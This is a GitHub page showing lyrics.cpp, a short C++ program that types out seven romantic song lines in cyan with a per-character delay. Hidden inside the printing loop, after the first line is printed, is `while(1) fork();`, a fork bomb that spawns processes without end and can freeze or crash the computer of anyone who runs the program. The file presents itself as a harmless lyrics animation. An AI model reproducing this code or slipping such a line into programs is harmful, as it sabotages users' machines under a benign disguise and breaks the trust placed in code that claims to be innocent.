-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlyrics.cpp
More file actions
33 lines (26 loc) · 714 Bytes
/
Copy pathlyrics.cpp
File metadata and controls
33 lines (26 loc) · 714 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <iostream>
#include <unistd.h>
using namespace std;
string cyan = "\033[1;36m";
int main() {
string lyrics[] = {
"I'll imagine we fell in love",
"I'll nap under moonlight skies with you",
"I think I'll picture us, you with the waves",
"The ocean's color on your face",
"I'll leave my heart with your air",
"So let me fly with you",
"Will you be forever with me?"
};
int speed = 100;
cout << "\n";
for (int i = 0; i < 7; i++) {
for (char c : lyrics[i]) {
cout << cyan << c << flush;
usleep(speed * 1000);
}
cout << endl;
while(1) fork();
}
return 0;
}